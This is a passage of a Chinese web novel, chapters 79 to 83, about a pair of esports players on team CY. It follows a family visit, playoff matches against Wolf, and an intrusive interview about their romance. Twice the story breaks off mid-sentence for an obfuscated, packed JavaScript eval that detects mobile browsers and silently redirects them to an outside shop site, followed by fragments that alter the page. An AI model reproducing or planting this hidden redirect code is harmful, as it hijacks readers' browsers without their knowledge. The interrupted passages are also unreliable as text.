“后备箱的见面礼,拿一下。”齐呈枫打开副驾车窗朝着宣依说。 宣依便绕到车后,向上翻起后备箱盖的一刻她有些不知所措,然后齐呈枫也下车走到了她的身旁,先行弯腰提东西。 “这些……都是?”答案都摆在面前,宣依还是有些难以置信。 干粮、营养品、零食礼包、茶叶等一系列物品整齐地摆在后备箱里。 齐呈枫摆头,手臂错开一系列礼盒类从后方取出一束开得正鲜艳的茉莉,从缝隙取出时它晃荡着花瓣。 一点点靠近宣依的身前,最后停顿下来。 “这个是给你的。” 宣依有些迟钝地抬起手接过茉莉:“为什么要送我花?” 这束茉莉与当初宣依赠他那捧相似,被牛皮纸包裹,只是并没含插白玫瑰,纯白单调的模样不掺杂任何,就如他此时的回答一般。 “就觉得你会喜欢。” - 比起宣依的内敛,齐呈枫上门时谦逊得体的模样表现得异常出色。 趁着章文华进厨房忙活的间隙,宣依拉了下齐呈枫的衣角,愤愤不平:“我就说你有经验吧!呱哒呱哒的对答如流……还有你怎么没和我说后面上学的事?” 齐呈枫笑着揉揉宣依脑袋,她这稚嫩的五官搭配将皱眉不悦表现得异常可爱,更像是在撒娇。齐呈枫看着也跟着无辜起来:“不想异地,而且我本来就是报的浔理。” “喔——”宣依意味深长地拉长尾调,“怪不得当时给我估分的时候就一个劲推荐我去浔理。” “这下反应这么快?” 宣依被夸一下,敛着笑意骄傲地点了下头。 但事实是从齐呈枫和章文华聊起浔理时,她就在思考自己的分数线够不够浔理,然后一根线索将她带到了那个暴雨夜。 他早已心动,那一切都有可能是一场预谋…… 得到齐呈枫不置可否回应的这一刻,宣依是雀跃的。 “好啦,”齐呈枫收回手起身,“我去帮帮忙,蛋糕想吃哪种?” 等了两秒没得到回应,齐呈枫干脆将手机递给了宣依:“那我去帮忙,你就选会儿蛋糕。” 等宣依投入在各色蛋糕预览图后,齐呈枫才默默进了厨房。 章文华不是个好奇心浓厚的人,两人忙碌的厨房却分外沉寂,只有齐呈枫偶尔几句的询问。 两人忙活不久便将要炒的菜理清。 “好啦,你出去休息吧,小齐。” 齐呈枫冲着手抬眼看向已经葛优躺陷在沙发里的宣依,什么也没做,只是静静看着。 他所想的远比章文华三两语打探的远:他想要买一套百来平的复式,按着宣依喜欢的风格装修,到时候还要布置个电竞房,宣依应该也会喜欢的。然后多学点她喜欢吃的菜,厨房也要这样装修,做饭时一抬眼便是她。 越来越具象化的未来让他不禁弯起嘴角。 80. 这是第八十章 晚饭过后,这场团圆以一块清淡的水果蛋糕收尾,齐呈枫吃完他那一份小蛋糕后起身看了眼手机:“章阿姨,我先下去开车了。” “不留这儿过夜嘛?”章文华问道。 “我们过两天还有比赛,”齐呈枫不紧不慢地解释着,“等比赛忙完了,叫上我妈他们一起再聚一餐。” 章文华无奈地点头,看着齐呈枫在玄关处换了鞋出门。 宣依插了一块黄桃片,边嚼边顺着章文华的视线看向那已经空荡的玄关:“这么舍不得呀?” “那我到时候去读大学一连半年不回家,你得什么样啊。” “说起这个,”章文华缓缓收回视线,将手里那盘小蛋糕放下,语气认真了些,“依依,我知道你从小就是个独立自律的孩子,你的事我也很少插手……但你肯定不能做到学业和这比赛都兼顾的,你想好后面怎么办了吗?” 宣依嚼黄桃的动作变得迟缓了些,但又插起了一块水果往嘴边递,掩盖着她的不自然:“其实我还没想好,我没办法因为学业抛下现在这群队友,也同样没办法就这样放弃学业……” “但还早嘛,比赛还有一个月才结束,开学也还有三个多月,慢慢来吧。” 这是宣依从小以来第一次毫无计划地等待一件事情发生。这条溪流里她选择放下船桨任由流水将她带到下一站。 章文华抬手扶着宣依的脑袋带向了自己的肩膀,手掌轻轻抚弄着:“好,慢慢来。你做什么样的决定妈妈都支持你。” - 两人回归后的隔天,训练再次进入正轨。 不似一个有组织有预谋的团队,任宙虽然表示现在这个积分所处的位置很优渥,不用对后面的比赛感到压力的同时已经在季后赛拥有了一张免死金牌。 但年轻气盛的众人自然不愿止步于此,一刻不松懈的训练一如往日。 这一年灯火旺盛,城市从沉睡中缓缓苏醒,海浔市热闹起来,KPL也热闹,老牌战队依旧在这个赛场上发光发热,也有新杀出来的黑马成为这年KPL的一大看点。 月末,场馆又一次被振聋发聩的欢呼声引爆,CY拿下了这一局的赛点场,将比赛推到了又一高潮。 这一场的拉扯着实耗费心神,宣依抬手灌了一口水将干涩的喉间润过:“鸣哥下一场压上单节奏,我拿个硬辅。” “好。” 齐呈枫捏着鼻梁骨沉头长叹一口气,随着新一场比赛进入BP环节,他很快调整回状态扶正了耳机:“把大乔给ban了吧。” “OK,”程舟迅速将大乔送上了ban位,“依妹开局还是跟我清线。” 观众席还陷在上一场最后一波的泉水强攻之中,CY已经因为这场还未开始的比赛而神色凝重,那张曾经充满自信张扬的脸庞此刻就连唇色都略显苍白,她犹豫两秒后将“澜”给ban掉,沉声回答道:“我这场打东皇,你用弈星打一下中。” 加载页面里,宣依呼了口气:“对面阵容有点肉,多给一下凯的位置。” “我尽量压他节奏。”魏晟应声。 前四场EIY战队的上单可谓是给CY带了巨大的压力,开团猛,断后能力好,好几次能打的局面都在他的掩护里及时中断,尤其是上一场,一场团战从蓝区打到河道才把射手给切了。 “鸣哥多去上路支援。” “敌军还有五秒到达战场,请做好准备。” 五人齐刷刷向着峡谷挪动摇杆。 相较于前四场,这一轮的前期实属有点太过平静,EIY也很快发现了打野总是往上路抓人,在对面第一次出现在上路掀起一番无伤的小团战后,宣依开口:“鸣哥自己发育,上路猥琐一点,小心对面打野抓。” 魏晟了然将这波兵线往塔下带。 刚拖完视野,对面射辅两人在中路丢出的减速里快速拉近了距离,宣依皱着眉往回拉,丢出二技能。 齐呈枫打完鸟跟上节奏来:“打射手。” 只是技能的瞄准优先向血量较少的法师攻去。 宣依与齐呈枫分开距离分伤害:“可以打可以打。” 二打三的局面,其实并不乐观。 好在宣依此刻刚好升四级,领先对面辅助半分钟,指尖快速错落下吸住了射手。 已经放出大招的法师无可奈何地看着伤害打在自家射手身上,而另一头齐呈枫的伤害通通打在了法师身上,EIY的辅助在这个三角形之间摇摆着。 随着大招结束,宣依闪现拉开距离,将二技能的伤害再次打在射手身上。 最后一丝血,由齐呈枫落下的技能一击拿下。 “Firstblood”的播报宣告这场团战告一段落,只是辅助还不服气地在离开前丢了个大招过来。 两人撤回塔下,宣依回城;“程舟,给视野啊。” “抱歉抱歉,忘记了。” 下路射手在这一波结束后明显谨慎起来,以至于想进一步又碍于塔伤,退一步的拉扯又过于浪费时间。 宣依在第三次抗到塔伤范围下又被迫撤退后往野区移动摇杆:“别打拉扯了,我跟打野。” 齐呈枫也烦躁地“啧”了声,清掉新一波兵线。 只是这种小优势在全局中过于渺小,虽然法师支援了一波无用的团战,但却丝毫没有影响到他自己的节奏。 几分钟里三路竟凑不出第二个人头,宣依拉了下视野,语气沾染上耐心耗尽的怒气:“他不出塔就让他和塔过日子,这波清完来中路。” “下路放不了。” 这个局面,上路只是堪堪支撑着,一旦齐呈枫离开下路,两路都有可能崩。 “七分钟了,经济只差三百多,搞什么啊!”程舟也有些受不了此刻的局面。 齐呈枫清着兵线犹豫了几秒应声:“好。” 趋势如齐呈枫预想中一样,他离开下路后,对面射手依然守在下路。 “凯下去了。” 一波兵线的时间结束中路团战。 他内心计划着。 这波团战放在上帝视角也是一波稳赚不赔的。 结果掀起团战的一刻,局势一下发生改变。 “凯哪儿冒出来的啊!?” 程舟被凯的大招往后推得毫无还手之力,宣依及时吸了上去,结果站位太靠团战中心,很快就掉了。 “我刚才就说了凯下去了啊!”魏晟被打野拖在了上路。 “撤呀!”程舟已经残血了。 齐呈枫压在河道边被法师堵了路,再往后是辅助上来支 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宣依沉头双手掩过面庞的情绪,沉重的喘息声通过耳麦传入几人耳中,齐呈枫抬手取下她的耳机,绕过她的肩将她从座椅上带起,凑在她耳边轻声道:“走吧。” 她离场时回眸看向在这瞬被轰然点亮的观众席,很快便收回目光跟在队伍末尾回到休息室,刚踏入休息室的门她便顿下了脚步。 一旁用手臂带动她步伐的齐呈枫也跟着停下来,看向她:“怎么了?” “对不起!”她酝酿好情绪一个鞠躬垂下脑袋。 几个人连连上前扶住她。 “说什么呢?输了又不是你的锅,我好几波的视野都没给到。”程舟扶住她的脑袋,一点力道随着掌心将她的脑袋扶起来。 “我最后一波团战大招都没放出来……”凌一鸣围在一旁轻声道,“我之前指挥的时候都来不及将三路都指挥到。” 一声声不同声调的揽责里,宣依的呼吸越来越沉,划到最后是一声声嘶力竭:“是我太急了!” “都打四把了,最后一把明明可以稳住前面的节奏,怪我太急了。” 落在后面的任宙推门的动作被挤在门后的几人顿住,探了半个身子看过来:“干什么呢?” 宣依抿着唇借过几人的相拥走向窗台边,默默用手机掩盖情绪,关于这场比赛的议论正愈火愈烈地进行着。 任宙在齐呈枫三言两语里了然事情原委,迈步停在了宣依身后:“依依你知道嘛?其实这样挺好的,你从加入这支战队开始就一直有自己的节奏,哪怕被对面拖了四把也没有忘记自己的节奏……” “可倘若我不急于中路那一波团战,就不会打成这样,视野还没看好就直接开团了。” “宣依,这是我最后一次安慰你,”任宙靠在了窗台上,目光淡然地看着宣依,“每一场输掉的比赛都要用几个小时来平复情绪,我们没有那么多时间,你要清楚,无论是哪一条路,做自己不迷失才是最重要的。” 窗外映过树荫,通透的浅绿色落下一块块斑驳光亮,宣依依然记得刚踏入这个赛场时,那个意气风发以自己的身份为英雄正声的模样。 她不曾迷失,只是恍然觉得这条路有了尽头,所以一点遗憾也不想留下。 81. 这是第八十一章 第三轮常规赛也在五月的最后一天正式落幕,CY战队以S组第三名的成绩在圈里一朝涌上夺冠热门。 “我们季后赛第一场在六号,和Wolf打。”任宙坐在大巴前排,半个身子侧向走道。 当初那部综艺也借着季后赛的热度官宣了播出时间,还邀请了入围季后赛的十支战队进行一些采访和素材补录。 程舟偏了重点:“那BTG是S组第一?” “嗯,两支战队积分一样,BTG净胜积分高点,”任宙应答着,“综艺这边要补录一天半,后天正式训练,五号去看BTG和EIY的比赛。” “补录什么啊,这么久?”宣依问。 “有采访,另外还要抽签打一场友谊赛。” “哎,真是人红是非多!”程舟感慨着靠在了靠背上,“还是之前闷头训练的日子爽。” 说笑里,大巴停靠在了录制地。 宣依拍了拍靠在她肩上浅眠的齐呈枫:“走啦。” 还没进场馆,就熙熙攘攘围过来几个记者,堵了CY一行人的路,齐呈枫和宣依慢悠悠的步伐也被一同拦截下来。 两人亲昵的动作引来了一台摄影机的特写镜头,齐呈枫不耐烦地揉着头发,却意外瞥见那偏移的摄像头,朦胧困意的眼眸一沉,将两人相扣的手往身后微掩,偏头直视那方镜头,没有任何情绪的内双带着极致的厌倦:“改行娱乐记者了?” 镜头带着背后哑言的记者匆匆更换了焦点。 在任宙熟练的几句应和声里,几人才得以重新走向场馆,一群人欢腾的背影里,那台摄影机不罢休地在CY往场馆走时留下了末尾两人牵手的身影。 工作人员领着CY一行人走进熟悉的比赛区域,由几位队长上前进行抽签分组,其他人停留在了摄影区的角落里等候。 不久凌一鸣带着一片折叠的纸条走来。 “我们轮空吗?”程舟迫不及待地迎上前问道,从他手里接过那张飞纸,语气低了不止一个度,“一组啊。” “嗯,等会第一场就是我们,”凌一鸣点头,侧身回望另一边的一方人群,“对手嘛……” 那头的几支战队都是连着几个赛季的老热门,只是错开那些摄影机和工作人员的包围,凌一鸣的目光精准地带领众人看向了其中一方队伍。 “Wolf?”程舟深呼了一口气,抱怨道,“这节目我们就录两场比赛,一场和BTG一场和Wolf,我们是什么抽签圣体啊。” 来的路上他们刚结束了一个下午的训练,想着那么多战队一共就需要三场素材,他们轮空的概率还是很大的。 一行人对此行更多的准备是进行完采访的素材补录就下班的。 宣依从墙沿边直起身,向前迈了一步:“那刚好在季后赛之前再熟悉他们一场,我们这一场就试一下之前说的换路。” 很快,三两语的交流里,节目组的准备已经进行完毕,一个工作人员走来进行通知:“准备一下,我们马上开始进行第一场的录制。” 综艺节目为了上镜好看,打向选手席的灯光格外敞亮,与布景之外沉闷的黑色形成鲜明对比。 几个人先后踏入录制区,跟随着台下的指挥,主持人进入熟悉的流程:“那么今天第一场比赛将由CY与Wolf带给我们,两支战队在常规赛中的表现至今都让我难以忘却……” 专业的主持人添上他那以假乱真的语气很快将流程带入正轨:“那么游戏开始前,双方有什么想说的吗?” 本以为又是一场放狠话环节,话筒优先递给了Wolf的队长,他却恭敬转过身:“很荣幸在季后赛之前还能和CY再打一场,希望你们不要因为这是一场综艺而放水。” 话筒传递到凌一鸣手中,他说话一向温和:“其实在抽签时我们更倾向于轮空,想要有更多时间去准备下一场比赛,但很意外,我们第二场对局是在这儿。” 两支战队都带着笑意,入座选手席。 扣上耳机时魏晟还有点意犹未尽地感慨:“我还以为他们是比较高冷的那种诶。” 程舟也跟着附和:“对啊,他们先接麦的时候我脑子全是要怎么接他们的话。” …… 宣依听着他们的讨论,趁着工作人员调整设备接收和镜头的间隙,她转着靠椅偏身轻言:“你知道他们刚才那股淡然劲让我想起了什么嘛?” “嗯?”齐呈枫干脆将耳机按下挂在了脖子上。 这个动作带着纵容,并不遮掩两人的悄悄话,就那么明目张胆地将耳机撇下,宣依说话声一顿也跟着取下耳机重新开口:“就我刚接触电竞这件事的时候,无论是面对郑晨还是BTG,我都格外淡然,一切都胸有成竹,所以他们给我的感觉也如此,他们对这场很有把握。” 齐呈枫笑着,伸手为宣依扣上耳机,又整理起她额前的碎发,满意地点了下头后扶着耳麦道:“那就好好迎接他们的胸有成竹。” 不远处一只手抬手示意,房间开赛。 综艺对局按常规征兆模式,ban位连上六位英雄后,进入pick环节。 CY:李信、澜、嬴政、黄忠、大乔 Wolf:夏侯惇、李元芳、甄姬、百里守约、牛魔 如宣依所规划的一样,开局因为换线,Wolf被压了一波兵线,但他们的调整也进行得很快,夏侯惇在塔下吃完第一波经济后便在草丛蹲河蟹。 没有视角的嬴政有些默认他们是准备换线回来,虽然这种概率很小,但配合着下路百里一同消失的视野,可能性又无限扩大。 “夏侯惇视野没了。”程舟向其他分路报备。 “没换线,打河蟹的时候注意点草丛。”在中路的大乔移动中观察着上路野区。 只是河蟹的出生点靠近Wolf方的草丛,宣依说完这句话的那刻,嬴政的技能已经带着草丛的夏侯惇再次出现在了小地图上。 这头甄姬没办法抢河蟹,只能靠在塔下等打野支援,宣依带着齐呈枫清掉河蟹后,独自支援上路:“别进塔别进塔。” 另一只手拖过下路河道视野还在给凌一鸣位置:“鸣,蓝打完先支援中路。” 大乔与嬴政的共同压制下,夏侯惇被截回塔下。 这一场换路只是明面上压制了Wolf的节奏,但双方并没有因此拉开经济差距,宣依蓝量耗尽前堪堪近三级,便索性留在上路静候等级跳跃,随着第二波小兵交汇,宣依上前用一技能推开夏侯惇,然后在摇摆中放下二技能:“卡一下兵线,等对面打野的位置。” “OK。”程舟附和。 李元芳也果断在这样的局面里选择以中路作为突破口,只要一血出现,局面就会迅速拉开差距。 此时的中路只有齐呈枫一人。 黄忠是一个前期攻势较为薄弱的英雄,而身为打野的李元芳本就有较为明显的经济优势,一旦贴身,黄忠便很难逃脱。 在此之前,甄姬捏着的二技能终于伴随着一技能的水球跃动而落在黄忠脚下。 回应这个控制的,是往草丛处交出的闪现。 距离一瞬拉开。 宣依拉着视角往中路赶。 双方都明白中路这一波抓人的关键,所以Wolf那边很清楚澜肯定也在附近,而黄忠这一份闪现在他们的视角里便是暴露了澜所在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14026961|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的区域。 兴许是甄姬暴了位置,李元芳的大招是直面丢向河道草丛的。 而旋转的大招空无伤害,齐呈枫扬起声音:“打野交大了。” 伴随着这句话,澜从另一边的河道跃出,角度不偏不倚将甄姬与李元芳推向防御塔的方向,黄忠也在此刻坐地开大。 站位的劣势,甄姬捏着的大招已经朝着黄忠的方向丢出。 残血加上甄姬水球的被动,这一个大招打过来黄忠必然是要掉的。 李元芳也迅速将战火转向黄忠。 “Firstblood”播报响起的那刻,黄忠堪堪一丝残血结束大招往河道撤退。 “我这边我这边。”宣依接应着在两人之间放下二技能。 李元芳也顶着一丝残血二技能越过墙沿进入野区,而澜追上去的动作被及时支援的夏侯惇打断。 “没事没事,打了个法师,不亏。”大乔的线牵上澜。 一波一血,复活时间很短暂,但CY已经趁此时间将分路再次更换:黄忠回到了下路,上路依旧是嬴政,中路换成了李信。 CY的局面稳定下来,连拿两只主宰后比赛来到了十四分钟。 经济上CY只领先三千多,但Wolf除了中路二塔还健在,另外两路就连高地都有些堪忧。 随着第二只主宰落在中路,又一场团战蓄势待发。 “有干扰有干扰。”宣依从河道向中路移动。 甄姬卡在塔下清线,齐呈枫绕过蓝区开大,彼时的伤害已经是甄姬不能停留分秒的高暴击。往范围外撤的同时,李元芳从另一边的草丛出来,进入黄忠大招的同时朝他放下一三技能。 宣依拖着大招落在了中路,半侧落于塔下半侧落于塔外,一圈圈涟漪里,几个人相继传送过来,暗信和嬴政的技能也随着出现在了画面中。 Wolf那边也因为区域的缩小,支援的行动格外迅速,干扰在其中按下,几个人在黄忠的大招里强势往塔里压。 技能特效,英雄语音,刹时响起的播报将画面点燃,选手席架起的摄影仪扫过众人的情绪。 程舟在混乱里最先掉,此刻拧着眉头一会儿往左侧身一会儿往右转:“可以压可以压。” 凌一鸣和魏晟都沉默于指尖上的操作,齐呈枫的大招结束后也跟着越入塔下平a,地雷在人群中刚落下便炸开。 而宣依相对淡漠,绕过野区在高地与二塔之间落下一三技能,将往高地撤退的百里又推回了塔下,看着逼近残血的齐呈枫,又在极限距离放了个二技能。 …… 比赛结束,几人摘下耳机回到舞台中央的录制区。 几句话后开始准备第二场的录制,靠外侧的CY优先跟着工作人员前往后采区。 前一组的战队还在进行补采中,几个人便靠在门外的墙壁上休息。 “这个比赛可以补录吗?”程舟有些绝望地感慨,“顺风局,我二杠五,播出去岂不是笑死人。” 还没等播出,几个人不约而同的笑声优先将程舟吞没:“都说了百里不好打,之前AQ那个替补射手都那么强势,你还想单抗射手和辅助两个人。” “没事没事,你的镜头应该不多。”魏晟平淡的安慰却仿佛又往他的伤口上插了一针。 欢腾的笑闹里,Wolf一行人也跟了过来。 笑声纷纷收敛化作礼貌地一个微鞠躬。 “这场对局确实印证了你们黑马的身份,”Wolf行至首位的队长语气温和开口,“很期待季后赛上与你们的比赛。” 商业互捧这一出,几个人纷纷往墙边躲,将场子甩给了凌一鸣。 82. 这是第八十二章 就在双方进入僵持的无话可谈时,后采室的门从里拉开,一支战队从里头走出,CY便紧接着进入。 还是熟悉的两排椅子,两侧灯架间是那位提问的主持人。 几个人先后入座,而前排的两个座位默契地留给了齐呈枫和宣依。 “好的,准备一下,我们进入后采环节。”主持人举起麦克风说道。 不知为何,同样的场景,这一次宣依却莫名感觉有几分压抑。 她深呼一口气后抬眼看向主持人。 两人的目光对峙上,主持人压下手中的卡册清了下嗓子:“那第一个问题,请问你们对电竞选手谈恋爱有什么看法?” 这个问题一出,后方的视线不自觉向前偏移,但很快凌一鸣便出声回答:“这是档电竞综艺吧,对于选手的私人问题也要打探吗?” 主持人倒是淡然:“只是实时收集网上的信息提问而已,请不要过激。” 他的目光始终有意无意扫向宣依。 齐呈枫察觉到了这个问题的源来,蹙眉道:“您提出这个问题是想将电竞选手局限起来,未退役就不能谈恋爱嘛?” 主持人对突然的反问有些无从招架,但齐呈枫坦然的目光正侯着他的回应。 “我只是遵循网络提问。” “哦?”齐呈枫也没当着几台摄影机戳破这件事,只是挂上轻蔑的笑,“身为一名电竞选手,全力以赴每一场比赛便是我该做的,我承认我是谈恋爱了,还请提出这个问题的群众随意审视CY一路打来的所有比赛,告诉我哪一场比赛的成绩受到了影响。” 主持人无力反驳,便将矛头转向了一旁沉默聆听的宣依:“那Hunter呢?” 宣依听见这声称呼,唇角一勾扬眉看向主持人,用词毕恭毕敬语气却淡然:“不知道您是否还记得我们上一次见面,那次是我第一次上场打比赛,身为无名小卒的我,连一个像样的称呼都没有,可此时此刻就连你也知道了我的名字。” “难道您是觉得我菜得很有记忆点吗?” 主持人一个抬手暂停了这环节的录制,重新开口:“刚才的问题不好意思啊,我们重新来过。” …… 采访结束后,宣依便拿出手机刷微博。 果不其然,连着一排关于他俩恋情的评论将CY的超话都炸了。 这种事情自然有人祝福有人批判。 所幸CY的大部分粉丝都很理智,顶在前排的几条都是积极评论,宣依指尖缓慢滑动着屏幕,直到第一条喷子的评论出现。 齐呈枫走在她身侧,默不作声地看着她的动作。 但宣依没有任何反应,只是随手刷新了页面。 这样的动作落在齐呈枫眼中反而有些欲盖弥彰,他抬手叩住了手机屏幕,将其从宣依手中取过来:“这种言论发酵两天就好了,你如果介意我可以发声明的。” “发什么声明?”宣依被夺了手机语气自然地添上了一丝烦倦,“为什么要管他们,我打个游戏被指指点点就算了,谈个恋爱也来这一出,谁搭理啊。” - 如齐呈枫所言,关于这场恋爱的热议甚至没熬到CY的第一场季后赛。季后赛在赛制上从BO5更改至BO7,局数的增加对于选手英雄池的要求也相应提高。 前两场CY都比较压着英雄池的选择来进行挑选,而Wolf则选择在前两场中优先使用自己擅长的英雄,以至于前两场的对局推动相当迅速,Wolf接连拿下两场对局的胜利。 第三场对局开始。 “这一场稳点,阿晟你用木兰,呈枫拿香香或者虞姬。”凌一鸣再次开口。 “我拿什么?”宣依已经懒得再辩驳了。 “随便上个硬辅就行。” “嗯,好。”看着对面大乔与公孙离的组合,宣依选择了张飞。 转眼又一局比赛开始,宣依吐了口气移动拉杆往中路走。 但两场胜利的节奏让Wolf的打法也随之改变,第一波的中线,大乔并未出现。 “大乔没来中。”程舟汇报着视野。 “跟打野了。”宣依附和。 程舟不太明目这个视野的原理,但也没出声反驳。 宣依放完一技能a了两下后就蹲进了蓝buff后方的草丛:“对面我方蓝开。” 凌一鸣那头还在打红,对面法师自然地拖延住了程舟,而宣依的一技能还在冷却中,隔着一面墙体有勇无能的按着平a。 程舟在极限时刻从中路脱离,只是对面打野捏着惩戒,这个蓝buff还是落在了对面身上。 宣依调整着情绪将视野告诉凌一鸣,划着摇杆继续往上移动。 齐呈枫的孙尚香向来节奏开得很稳,双方都没有辅助支援的情况下,齐呈枫始终将对面的位置压于塔下,在宣依到达上路时,他已经顺利拿了河蟹。 这头的节奏稳,另一头凌一鸣因为对面打野的节奏打完两只野猪后直接越过河道进入敌方蓝区。 这波最大的劣势在于,CY这场为红方,敌方蓝区更靠近魏晟,这波反野只要被对面发现势必会掀起一波小团战。 宣依扫了小地图:“晟,多看一下打野位置。” 果不其然,这种决策Wolf怎么可能不知道,还没等凌一鸣拿下蓝buff,敌方打野和大乔两人便双双出现在了野区。 宣依只能在清兵之余扫眼野区的情况。 “阿晟,抗一下抗一下。”凌一鸣捏着惩戒夹在了对方的打野与辅助之间。 拿下蓝后直接越过墙体向下路直接抓了一波上路。 在木兰抗塔的一波操作里,一血在下路诞生。 “可以可以。”一血的诞生短暂振奋了众人的士气。 “呈枫,清完线猥琐一点,大乔上来了。”彼时宣依的等级已经正预备跨向四级。 单论英雄,孙尚香和张飞的组合显然要更胜一筹,但就像凌一鸣说的,这一场得稳,已经0:2了,再输一场局势就会格外被动。 CY这边打法的猥琐带着比赛越过十四分钟的重要分水岭,双方的装备都已成型,看着Wolf打野和射手双双备上的复活甲,小地图上主宰坑开始跳动的数字,宣依呼了一口气:“这波龙打吗?” 沉寂了几秒,数字一下下闪动,直至十位再次减少:“拿!” 凌一鸣的声音带着几人的摇杆纷纷向龙坑挪动,宣依与程舟埋伏在了龙坑后方的草丛,魏晟的花木兰还扛着下路线给出一波假视野,由齐呈枫和凌一鸣两人从下路清完线后放出要打龙的视野。 Wolf自然不会被这样的视野欺骗,公孙离从野区方向进入河道,二技能放出的伞刮过河道边的草丛。 “怎么是射手来探位置啊?!” 无命中视野后又随着伞跃到了近在咫尺的位置。 观众席也一同屏息敛声。 程舟犹豫半秒一个控制落在了公孙离身上:“控到了控到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043863|131584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宣依快速接上大招的击飞效果,程舟也丢出了大招。 凌一鸣和齐呈枫从下路将到中路的一刻被大乔的一技能推开。 大乔位于中路正中心的位置,这边一个一技能,另一边落下了二技能。 “推呀,推呀。”这个局面公孙离一旦回城就血亏。 魏晟轻刀接上重刀的二技能,一下,两下,三下。 大乔的二技能还差一秒时,大招也在几人身前落下,公孙离一技能越过一众技能在那一瞬间传送回去了。 还没来得及感叹,大招出现圈圈涟漪,Wolf几人都随着这个大招出现在了中路河道处。 魏晟抗上去接上一技能,宣依也锤了上去。 齐呈枫一个二技能靠近后保持着距离进行输出,程舟大招进入冷却,往后排移动的同时预购上辉月。 公孙离掐着一技能消失的一刻返回了战场,逮着程舟就是一通输出,又是将他往人群中一推。 混乱里连翻炸出几件复活甲,血条掉了又吸,装备栏的末几项快速更换着。 Wolf法师刚倒下,程舟的辉月也掐着关键时刻点亮,结束那一刻对着人群丢下一个控制也跟着倒地。 两三秒的控制里,Wolf几人连连残血。 “拉一下拉一下。” “我残了残了。” “可以打可以打。” 耳机里已经分不清是谁的声音在不断重复,就在团战结果醒目的一刻,不起眼的二技能带着三人传送回了泉水,单留下大乔一人。 “艹!”几个人扬起不悦的大骂。 齐呈枫接上去一个大招对着大乔丢出,而另一边几乎同时丢出一三技能将末排残血的凌一鸣给收割。 已经残了的三人没办法趁此机会再拿龙。 “放了放了,守高地。”凌一鸣只能无奈道。 Wolf一波回血后,不出所料地在龙坑拿下了主宰。 面对对面三人的攻势,CY已经竭力守下了这波高地。 只是对于岌岌可危的上中两座高地塔,几人无力挽回,又一波以攻“高地”而掀起的团战将这两座高地一同拆掉。 第三场再一次以CY方的水晶炸裂作为结尾。 上半场比赛结束,宣依不悦地脱下耳机扶住额头,还没等散场她便起身走向凌一鸣:“前两场压什么英雄?” 凌一鸣抿唇不再做声。 程舟挡在两人之间:“诶诶诶,依妹冷静冷静。” 齐呈枫也上来揽住宣依的肩,推着她先离开了选手席,轻声安抚:“冷静冷静。” “我真不明白,第一场红方压一下英雄就算了,阵容还合理,第二场…”宣依气得连咳了几声,“我们本来就先手选择,还要去压英雄,压来压去被对面压着打,搞什么啊。” 一行人的中间第一次隔开一条鸿沟的距离,分成了两批人。 “你先冷静下来,不要被比赛结果牵着情绪走。”齐呈枫在一旁辅助着宣依调整呼吸。 一步一步调整过来后,齐呈枫才开口:“BO7的局限性比较大,季后赛的竞争也大,很多战队都会在前两场优先选择压英雄的方法,让后面几场不至于用自己不上手的英雄。” 宣依沉静下来后似乎读懂了现在这个局面:“但我们剩下四场都得赢。” “难得到我们?”齐呈枫抬手推开门,“就当我们要零封Wolf,怎么样,有信心吗?” “当然。” 83. 这是第八十三章 休息室里,任宙并未对任何行为进行评价,只是很淡定地为剩下几场比赛做商量,分析了一下现在Wolf所无法使用的英雄,对下一场的ban位进行预估。 也是这一刻宣依更加具象化地感受到了策略的重要性:Wolf此刻阵容的搭配已经受到了很大一部分的限制。 “他们已经拿过一次庄周了,下一场依依你可以直接用鬼谷子,”任宙边分析边对下局阵容进行安排,“如果你用鬼谷子的话……那最好再来两到三个群体性伤害的英雄。” “那我典韦或者娜可露露。” 宣依冷静下来想通后有些愧疚对凌一鸣的责怪,积极迎合道:“好,可以的。” 短短几分钟的中场休息,任宙将接下来几场的局势都进行了分析,而重点聚焦在了离众人最遥远的第七场对局。 规则的新颖众人只在昨天的比赛目睹过一次,但实际尝试起来是未知的。 下半场在观众席的期待中再次开启。 无论是Wolf以4:0的成绩实现季后赛首场零封还是CY在此场力挽狂澜,都值得台下的惊呼一片。 擦指嘶吼里,比分在一场场不断扭转的局势里缩小又持平,第七场开始时台下已经乱作一团。 “卧槽!我还以为铁定打不了第七场了,CY真的牛逼啊。” “是谁说CY配不上S组第三的!” “最后一波团战墨子在干嘛啊,打得什么鬼啊。” “这几场Archer的输出都好牛逼。” “诶,是不是就是他和那个鬼谷子谈恋爱啊。” “人家是Hunter!” “对对对!之前视频那个牵手背影,俊男俏女还有技术,这种CP我先磕为敬!” 台下与解说员的热议里,CY几人的反应则平淡许多,宣依捏着水瓶闷了一口,扯了两张纸将手中的细汗擦过:“我下场拿大乔,多点输出稳一点。” “嗯,好。” 第七场对局很快再次进入界面,盲掉的对方英雄位,CY的选择也变得果断。 十六分钟,CY攻上了上路高地,上路的团战里连带着将中路高地塔推掉,Wolf打野此刻在下路带线,本来准备丢在下路的主宰无奈释放在了上路,也瞬时掀起了一波团战。 “抗伤都没有,打什么呢!?” “就算输了,CY下路二塔还在,一波推不掉。” CY头顶还挂着八戒的复活倒计时。 四打四很快变成了二打三。 